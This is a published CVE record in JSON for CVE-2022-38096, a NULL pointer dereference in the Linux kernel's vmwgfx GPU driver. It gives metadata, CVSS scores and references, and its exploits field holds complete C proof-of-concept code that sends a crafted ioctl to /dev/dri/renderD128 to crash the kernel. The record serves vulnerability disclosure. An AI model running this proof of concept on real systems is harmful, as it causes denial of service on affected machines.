{"dataType":"CVE_RECORD","cveMetadata":{"state":"PUBLISHED","cveId":"CVE-2022-38096","assignerOrgId":"cb8f1db9-b4b1-487b-a760-f65c4f368d8e","assignerShortName":"Anolis","dateUpdated":"2024-09-16T19:46:43.355Z","dateReserved":"2022-09-07T00:00:00.000Z","datePublished":"2022-09-09T14:39:51.163Z"},"containers":{"cna":{"title":"There is a NULL pointer vulnerability in vmwgfx driver","datePublic":"2022-09-06T00:00:00.000Z","providerMetadata":{"orgId":"cb8f1db9-b4b1-487b-a760-f65c4f368d8e","shortName":"Anolis","dateUpdated":"2024-06-25T21:08:05.642Z"},"descriptions":[{"lang":"en","value":"A NULL pointer dereference vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS)."}],"affected":[{"vendor":"Linux","product":"kernel","versions":[{"version":"v4.20-rc1","status":"affected","lessThan":"5.13.0-52*","versionType":"custom"}]}],"references":[{"url":"https://bugzilla.openanolis.cn/show_bug.cgi?id=2073"},{"name":"[debian-lts-announce] 20240625 [SECURITY] [DLA 3842-1] linux-5.10 security update","tags":["mailing-list"],"url":"https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"}],"credits":[{"lang":"en","value":"Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab"}],"metrics":[{"cvssV3_1":{"attackComplexity":"LOW","attackVector":"NETWORK","availabilityImpact":"HIGH","baseScore":6.3,"baseSeverity":"MEDIUM","confidentialityImpact":"NONE","integrityImpact":"LOW","privilegesRequired":"LOW","scope":"UNCHANGED","userInteraction":"REQUIRED","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H","version":"3.1"}}],"problemTypes":[{"descriptions":[{"type":"CWE","lang":"en","description":"CWE-476 NULL Pointer Dereference","cweId":"CWE-476"}]}],"x_generator":{"engine":"Vulnogram 0.0.9"},"source":{"defect":["https://bugzilla.openanolis.cn/show_bug.cgi?id=2073"],"discovery":"INTERNAL"},"exploits":[{"lang":"en","value":"#include <stdio.h>\n#include <string.h>\n#include <unistd.h>\n#include <errno.h>\n\n#include <linux/if_tun.h>\n#include <net/if.h>\n#include <sys/ioctl.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <fcntl.h>\n#include <pthread.h>\n#include <sys/socket.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <sys/ioctl.h>\n#include <errno.h>\n#include <stdio.h>\n#include <fcntl.h>\n#include <pthread.h>\n#include <stdio.h>\n#include <sys/types.h>\n#include <stdint.h>\n#include <netinet/ip.h>\n#include <sys/resource.h>\n#include <sys/syscall.h>\n#include <limits.h>\n#include <sys/mman.h>\n\n#include <linux/fs.h>\nint fd = 0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n                {\n                        printf(\"open tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n       \n}\nvoid poc(int sid){  \nint cmd[0x1000]={0};\ncmd[0]=1165;\ncmd[1]=0x50;\ncmd[2]=0x0;\ncmd[3]=0x0;\ncmd[4]=-1;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=2;  \n\targ.context_handle=sid;\n                if (ioctl(fd, 0x4028644C, &arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n\n}\nint alloc_context(){\n\nint arg[0x10]={0};\narg[0]=0;\narg[1]=0x100;\n\nif (ioctl(fd, 0x80086447, &arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n   return arg[0];         \n}\n\nint alloc_bo(){\n\nint arg[0x10]={0};\narg[0]=0x10000;\nif (ioctl(fd, 0xC0186441, &arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n   return arg[2];         \n}\n\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\n\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, &arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\nreturn arg.flags;\n}\nint main(int ac, char **argv)\n{\ninit();\nint cid=alloc_context();  \n  printf(\"%d\",cid);     \n    poc(cid);            \n  \n}"}]},"adp":[{"affected":[{"vendor":"linux","product":"linux_kernel","cpes":["cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"],"defaultStatus":"unknown","versions":[{"version":"v4.20-rc1","status":"affected","lessThan":"5.14","versionType":"custom"}]}],"metrics":[{"other":{"type":"ssvc","content":{"timestamp":"2024-06-26T13:45:25.191519Z","id":"CVE-2022-38096","options":[{"Exploitation":"poc"},{"Automatable":"no"},{"Technical Impact":"partial"}],"role":"CISA Coordinator","version":"2.0.3"}}}],"title":"CISA ADP Vulnrichment","providerMetadata":{"orgId":"134c704f-9b21-4f2e-91b3-4a467353bcc0","shortName":"CISA-ADP","dateUpdated":"2024-06-26T13:49:29.690Z"}},{"providerMetadata":{"orgId":"af854a3a-2127-422b-91ae-364da2661108","shortName":"CVE","dateUpdated":"2024-08-03T10:45:52.802Z"},"title":"CVE Program Container","references":[{"url":"https://bugzilla.openanolis.cn/show_bug.cgi?id=2073","tags":["x_transferred"]},{"name":"[debian-lts-announce] 20240625 [SECURITY] [DLA 3842-1] linux-5.10 security update","tags":["mailing-list","x_transferred"],"url":"https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"}]}]},"dataVersion":"5.1"}